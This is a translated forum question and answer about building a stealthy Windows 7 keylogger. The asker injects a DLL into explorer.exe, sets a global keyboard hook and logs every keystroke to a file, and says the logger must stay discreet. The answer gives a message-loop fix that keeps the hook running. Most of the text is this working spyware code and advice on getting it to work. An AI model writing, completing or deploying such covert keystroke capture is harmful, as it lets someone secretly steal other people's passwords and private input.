我正试图在Windows7上创建一个键盘记录程序。为此,我创建了一个Dll(setHook.dll
),并将其注入explorer.exe的新线程中。在第一个Dll中,我打开了另一个Dll,其中包含在每个键盘输入上调用的函数(hookfunc
)。
我需要让我的Dll在后台工作,因为如果它死了,我就失去了Hook函数。为了做到这一点,我尝试过:
Sleep(INFINITE);
:暂时工作,但explorer.exe崩溃while(1);
:暂时工作,但explorer.exe崩溃system("pause")
:工作!但我不希望控制台出现在屏幕上,我的键盘记录必须谨慎getchar()
:与system("pause")
相同system("pause > null");
:拒绝访问this_thread::sleep_for(chrono::seconds(10))
:资源管理器崩溃
SetHook.dll:
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\Projets\Visual Studio 2013\Projets\inject\x64\Debug\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
回调函数:(我认为它没有帮助)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
代码是有效的,我只需要一个谨慎的无限循环,而不是Sleep(infinite)。知道吗?
睡在DllMain几乎肯定是个坏主意。
我想你正试图安装一个全局钩子。要做到这一点,您需要在注入器应用程序中运行消息循环,例如:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}